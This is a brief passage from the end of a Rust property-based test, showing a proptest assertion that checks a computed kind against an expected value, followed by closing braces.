            proptest::prop_assert_eq!(kind, expected);
        }
    }
}